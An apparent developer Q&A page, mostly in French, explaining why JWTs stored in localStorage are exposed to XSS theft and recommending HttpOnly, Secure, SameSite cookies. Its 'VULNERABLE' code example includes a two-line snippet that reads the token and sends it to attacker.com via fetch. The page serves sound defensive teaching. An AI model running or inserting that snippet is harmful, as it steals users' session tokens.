Pourquoi ne faut-il pas stocker les JWT dans le LocalStorage ?
Stocker des jetons dans localStorage les expose à une exfiltration immédiate en cas de faille Cross-Site Scripting (XSS). L’utilisation de cookies avec les attributs HttpOnly, Secure et SameSite empêche tout script malveillant de lire le jeton.
Detailed Technical Explanation
Tout script JavaScript s’exécutant sur votre page a un accès illimité à window.localStorage. Une vulnérabilité XSS ou une dépendance npm compromise suffit pour voler le jeton en une seule instruction. Les cookies HttpOnly sont inaccessibles au DOM et protègent contre ce vecteur d’attaque.
Technical Example & Code
Le stockage localStorage est lisible par n’importe quel code JavaScript exécuté sur la page.
// 1. VULNERABLE: Token in localStorage can be stolen by any injected script:
const stolenToken = localStorage.getItem('auth_token');
fetch('https://attacker.com/log?t=' + encodeURIComponent(stolenToken));
// 2. SECURE: Server sets token in HttpOnly cookie:
// Set-Cookie: token=eyJhbG...; HttpOnly; Secure; SameSite=Lax; Path=/
// JavaScript attempt:
console.log(document.cookie); // Token is completely invisible to client JS!Why This Is the Case (Underlying Architectural Rationale)
"Le navigateur applique la politique de même origine (SOP), mais celle-ci ne fait aucune distinction entre votre code applicatif et un script tiers malveillant injecté sur votre domaine."
Common Misconception vs Reality
"Le LocalStorage est sécurisé car les autres sites ne peuvent pas y accéder."
Bien que les autres sites ne puissent pas le lire directement, une simple faille XSS sur votre propre site permet au pirate de siphonner l’intégralité des jetons.
Related Curious-Techie Resources
Cookies vs LocalStorage: In-Depth Technical Comparison →
Detailed analysis of storage lifetimes, XSS exposure, CSRF mitigations, and performance.
Interactive ToolSecurity Headers Checker →
Audit your website for HttpOnly cookie enforcement, CSP protection, and transport security.
Developer ReferenceWhat is a Cookie? Protocol Definition →
Related Questions in the Q&A Knowledge Base
Yes, standard JSON Web Tokens (JWS) are signed, not encrypted. The header and payload are merely Base64URL-encoded strings that anyone can decode and read in plaintext without knowing the secret key.
Using 'unsafe-inline' in a Content Security Policy defeats XSS protection because it instructs the browser to execute any inline script found in the HTML. Since Cross-Site Scripting works by injecting malicious inline script tags or event handlers, 'unsafe-inline' allows the attacker's payload to run freely.
Authentication (AuthN) verifies who a user is (identity confirmation), while Authorization (AuthZ) determines what permissions or resources that authenticated user is allowed to access.
Écosystème Technique Associé et Prochaines Étapes
Articles Techniques Associés
What Is a JSON Web Token (JWT)?
Direct definition and architectural breakdown of stateless token exchange.
JWT vs Session-Based Authentication: Architecture & Performance
Compare database session lookups with stateless JWT verification across scalability and revocation.
Troubleshooting: JWT Works in Postman but Fails in Browser
Diagnose and remediate CORS header stripping, HttpOnly cookie constraints, and preflight authorization failures.
Laboratoires Pratiques de Diagnostic
Spécifications et Références Développeur
Poursuivre l’Apprentissage
JWT Interactive Tampering & Validation Lab
Put your theoretical understanding into practice by tampering with claims and testing signature rejection in the live sandbox.